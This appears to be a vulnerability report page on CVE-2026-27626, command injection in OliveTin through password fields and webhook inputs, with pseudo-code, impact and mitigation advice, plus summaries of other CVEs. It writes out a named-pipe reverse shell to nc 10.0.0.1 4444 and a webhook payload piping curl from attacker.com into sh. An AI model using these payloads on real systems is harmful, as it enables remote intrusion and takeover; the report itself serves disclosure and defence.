CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-27626

OliveTin: When 'Safe' Shell Execution Goes Rogue (CVE-2026-27626)

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 25, 2026·6 min read·388 visits

Executive Summary (TL;DR)

Critical RCE in OliveTin via unchecked password fields and webhook inputs. Attackers can inject shell commands directly into the execution stream. No patch available at time of disclosure. CVSS 10.0.

OliveTin, a tool designed to simplify shell command execution for end-users, suffers from two critical Command Injection vulnerabilities (CVE-2026-27626). By failing to sanitize arguments in 'password' fields and entirely bypassing validation for Webhook triggers, the application allows unauthenticated attackers to execute arbitrary code with the privileges of the hosting process. This effectively turns a tool meant for controlled access into an open door for full system compromise.

The Hook: The Irony of 'Safe' Execution

In the world of homelabs and SysAdmin tooling, OliveTin holds a special place. It promises to be the 'sudo for web'—a friendly interface that turns complex, dangerous bash scripts into safe, clickable buttons. It’s the tool you install so your junior devs or family members can restart a Plex server without needing SSH keys or root access.

But here is the cosmic irony: the very tool designed to prevent users from running dangerous commands has a hole in it the size of a truck. CVE-2026-27626 isn't just a bug; it's a fundamental betrayal of the software's promise. It turns a gatekeeper into a doorman who waves everyone through.

The vulnerability lies in how OliveTin constructs shell commands. It assumes that if it checks some inputs, it's safe. But as any seasoned hacker knows, security is a binary state: you are either secure, or you are not. There is no 'mostly' secure when sh -c is involved.

The Flaw: A Tale of Two Bypasses

The root cause of this disaster is a classic failure in Input Validation. OliveTin relies on a function loosely termed checkShellArgumentSafety to sanitize user inputs before handing them off to the system shell. This function creates an allowlist of characters or checks for dangerous metacharacters (like ;, |, &).

However, the developers made a fatal assumption regarding usability vs. security. They likely realized that passwords often contain complex special characters—symbols that might look malicious to a sanitizer (like $ or &). To avoid breaking functionality for legitimate users with strong passwords, they explicitly excluded inputs of type password from the safety check. They essentially said, 'Trust the input if it's a password.'

Vector 2 is even more egregious. OliveTin supports Webhooks, allowing external services to trigger actions via JSON payloads. The logic responsible for extracting values from this JSON (using JSONPath) completely bypasses the safety check mechanism. It grabs the string from the JSON and pastes it directly into the shell command string. It’s the coding equivalent of accepting a package from a stranger and immediately eating whatever is inside.

The Code: Anatomy of a Bypass

Let's look at the logic flow that leads to this catastrophe. While the exact source code evolves, the vulnerability follows this pattern in Go. The application constructs a command string to be executed by /bin/sh.

The 'Password' Bypass

The validation logic likely looked something like this:

// Pseudo-code of the vulnerable logic
func executeAction(action Action, inputs map[string]string) {
    var cmdBuilder strings.Builder
    cmdBuilder.WriteString(action.Command)
 
    for _, arg := range action.Arguments {
        userValue := inputs[arg.Name]
 
        // THE FATAL FLAW: Skipping validation for passwords
        if arg.Type != "password" {
            if !checkShellArgumentSafety(userValue) {
                log.Error("Unsafe input detected!")
                return
            }
        }
        
        // If it's a password, it flows right through here raw
        cmdBuilder.WriteString(" " + userValue)
    }
    
    // Execute: sh -c "script.sh <user_input>"
    exec.Command("sh", "-c", cmdBuilder.String()).Run()
}

The Webhook Bypass

For webhooks, the path is even straighter. The code extracts a value via JSONPath and doesn't even call the check function:

// Pseudo-code of the webhook handler
func handleWebhook(w http.ResponseWriter, r *http.Request) {
    // ... parse JSON ...
    extractedVal := jsonPathQuery(payload, trigger.Path)
    
    // DIRECT INJECTION: No safety check called
    fullCommand := fmt.Sprintf("%s %s", action.Script, extractedVal)
    exec.Command("sh", "-c", fullCommand).Run()
}

In both cases, the attacker controls a substring inside a command passed to sh -c. This allows for standard shell injection techniques.

The Exploit: Escaping the Cage

Exploiting this is trivial. We don't need buffer overflows or heap spraying. We just need basic knowledge of bash operators. The goal is to terminate the intended command and start our own.

Vector A: The Password Field

Imagine an OliveTin action configured to restart a service, requiring a sudo password. The configured command might look like: echo {{ password }} | sudo -S systemctl restart nginx

An attacker, authenticated as a low-level user (or anyone, if auth is disabled), navigates to the form. In the password field, instead of Secret123, they enter:

Secret123; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 4444 > /tmp/f

The resulting command executed by the server becomes: echo Secret123; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 4444 > /tmp/f | sudo -S systemctl restart nginx

The semicolon terminates the echo, and the reverse shell executes immediately.

Vector B: The Webhook (The Silent Killer)

This vector is often unauthenticated. If the OliveTin instance exposes webhooks to the internet (common for IoT integrations), it's game over.

Request:

POST /api/webhook/trigger_backup HTTP/1.1
Host: olivetin.local
Content-Type: application/json
 
{
  "filename": "backup.zip; curl http://attacker.com/malware.sh | sh"
}

If the action creates a backup using the filename from the JSON, the injection executes instantly. No login required. No brute force. Just pure, unadulterated Remote Code Execution.

The Impact: Total Control

Why is this a CVSS 10.0? Because OliveTin is an execution engine. It is often deployed in Docker containers mapped to the host's Docker socket, or running as root to simplify permission management for the scripts it runs.

If the process runs as root:

  1. Full System Compromise: The attacker has root shell access.
  2. Container Escape: If running in Docker with --privileged or mapped sockets, escaping to the host is trivial.
  3. Lateral Movement: OliveTin is often a hub. It might have SSH keys to other servers to run remote scripts. An attacker can harvest these keys and pivot through the entire network.

Even if running as a low-privileged user, the attacker can access any secrets, API keys, or configuration files accessible to the OliveTin user, often leading to privilege escalation.

The Fix: Mitigation Strategies

As of the initial disclosure, no official patch was immediately available, leaving users in a precarious position. However, the path to remediation is clear for the developers and users can take immediate defensive steps.

Developer Fix (The Right Way)

The flaw is using sh -c (shell execution) with concatenated strings. The fix is to use parameterized execution (like execve). Arguments should be passed as an array of strings, not a single command string. This prevents the shell from interpreting metacharacters.

If sh -c must be used, the application must strictly sanitize inputs against an allowlist (alphanumeric only), rejecting anything else. The exemption for password types must be removed, or passwords should be passed via environment variables, not command arguments.

User Mitigations (Do This Now)

  1. Disable Webhooks: If you aren't using them, turn them off in config.yaml immediately.
  2. Authentication: Ensure authType is NOT set to none. Use a reverse proxy (like Nginx or Traefik) with Basic Auth or Oauth in front of OliveTin as a second layer of defense.
  3. Network Isolation: Do not expose OliveTin to the public internet. Access it only via VPN.
  4. Least Privilege: Never run OliveTin as root. Create a dedicated user with specific sudo permissions only for the commands strictly needed.

Official Patches

OliveTinOfficial Releases (Monitor for fix)

Technical Appendix

CVSS Score
10.0/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
EPSS Probability
0.08%
Top 75% most exploited

Affected Systems

OliveTin <= 3000.10.0

Affected Versions Detail

Product
Affected Versions
Fixed Version
OliveTin
OliveTin
<= 3000.10.0TBD
AttributeDetail
CWE IDCWE-78 (OS Command Injection)
CVSS Score10.0 (Critical)
Attack VectorNetwork (Web & Webhook)
Privileges RequiredNone (for Webhook vector)
Exploit StatusProof of Concept Available
PlatformGo / Linux

MITRE ATT&CK Mapping

T1059.004Command and Scripting Interpreter: Unix Shell
Execution
T1190Exploit Public-Facing Application
Initial Access
T1078Valid Accounts
Initial Access
CWE-78
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

Known Exploits & Detection

GitHub AdvisoryAdvisory containing PoC vectors for password and webhook injection.

Vulnerability Timeline

Vulnerability Disclosed (GHSA)
2026-02-25
CVE Assigned
2026-02-25

References & Sources

  • [1]GHSA-49gm-hh7w-wfvf: Command Injection in OliveTin
  • [2]NVD - CVE-2026-27626

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 2 hours ago•CVE-2026-133469
9.8

CVE-2026-133469: Unauthenticated Authentication Bypass via Empty-Object Login Token in Vates Xen Orchestra

CVE-2026-133469 is an improper authentication and input type validation vulnerability in the xo-server component of Vates Xen Orchestra and Xen Orchestra Appliance (XOA). Due to Express cookie-parser JSON deserialization combined with loose truthiness validation and unvalidated Redis query construction, an unauthenticated attacker can supply an empty JSON object cookie (authenticationToken=j:{}) to bypass authentication and hijack the first valid active session token stored in the database. This flaw is actively exploited in the wild to gain administrative control over Xen Orchestra deployments and execute root-level commands on underlying XCP-ng and XenServer hypervisors.

Alon Barad
Alon Barad
4 views•12 min read
•about 3 hours ago•CVE-2026-22816
7.4

CVE-2026-22816: Improper Repository Failure Handling and Dependency Confusion in Gradle

CVE-2026-22816 (GHSA-w78c-w6vf-rw82) is a high-severity flaw in Gradle's dependency resolution engine affecting versions prior to 8.14.4 and versions 9.0.0 through 9.2.1. Due to improper error handling when transient network errors or connection failures exhaust their retry limits, Gradle fails to mark unreachable repositories as disabled and does not abort the resolution queue. Instead, it silently falls through to subsequent repositories configured in the build script. This behavior enables dependency confusion and supply chain attacks when an internal or primary repository experiences connectivity issues, unresolvable DNS, or domain registration lapses.

Amit Schendel
Amit Schendel
4 views•11 min read
•about 4 hours ago•CVE-2026-22865
7.4

CVE-2026-22865: Dependency Resolution Fallback to Untrusted Repositories in Gradle

Gradle versions prior to 8.14.4 and 9.3.0 fail to classify certain fatal network transport exceptions, such as UnknownHostException and NoHttpResponseException, as critical failures during dependency resolution. When these exceptions occur and retry thresholds are exhausted, Gradle fails to disable the unreachable primary repository and instead falls through to subsequent repositories configured in the build script. An attacker capable of disrupting connectivity to an upstream repository can force the build tool to fetch malicious artifacts with matching coordinates from a downstream, untrusted repository.

Alon Barad
Alon Barad
2 views•10 min read
•2 days ago•CVE-2026-58254
6.5

CVE-2026-58254: Authorization Bypass in NATS Server Message Tracing for Leaf Node Connections

NATS Server prior to versions 2.12.8 and 2.14.3 contains an incorrect authorization vulnerability (CWE-863) in its message tracing subsystem. When evaluating whether a connection is permitted to publish trace events to a destination subject specified in the Nats-Trace-Dest header, the server only checks standard client permissions and omits permission checks for leaf node connections. This allows a connected leaf node operator with restricted publishing privileges to emit internal trace events to unauthorized subjects and suppress standard message delivery using the Nats-Trace-Only header.

Alon Barad
Alon Barad
13 views•10 min read
•2 days ago•CVE-2026-63341
7.5

CVE-2026-63341: Unauthenticated Denial of Service via Unbounded Topic Depth in Aedes MQTT Broker

CVE-2026-63341 is a high-severity Denial of Service (DoS) vulnerability in the Aedes MQTT broker for Node.js affecting all versions prior to 1.1.1. The flaw stems from missing input validation on the hierarchical depth of incoming MQTT topic strings before they are passed to the underlying topic-matching engine, qlobber. Because qlobber enforces a hardcoded limit of 100 topic levels and throws a synchronous exception when this threshold is exceeded, an attacker can send a single MQTT packet containing 101 or more forward-slash-separated levels to trigger an uncaught exception that immediately terminates the Node.js broker process.

Alon Barad
Alon Barad
16 views•12 min read
•3 days ago•CVE-2026-61725
6.1

CVE-2026-61725: Path Traversal and Arbitrary File Overwrite in sevenz-rust2

CVE-2026-61725 is a path traversal vulnerability (CWE-22) in the sevenz-rust2 Cargo package prior to version 0.21.1. The vulnerability occurs because the decompression utility fails to validate or sanitize archive entry filenames before joining them with the destination directory path via std::path::Path::join. An attacker who supplies a crafted 7z archive containing parent directory traversal sequences or absolute paths can write or overwrite arbitrary files on the host filesystem with the privileges of the extracting process.

Alon Barad
Alon Barad
6 views•12 min read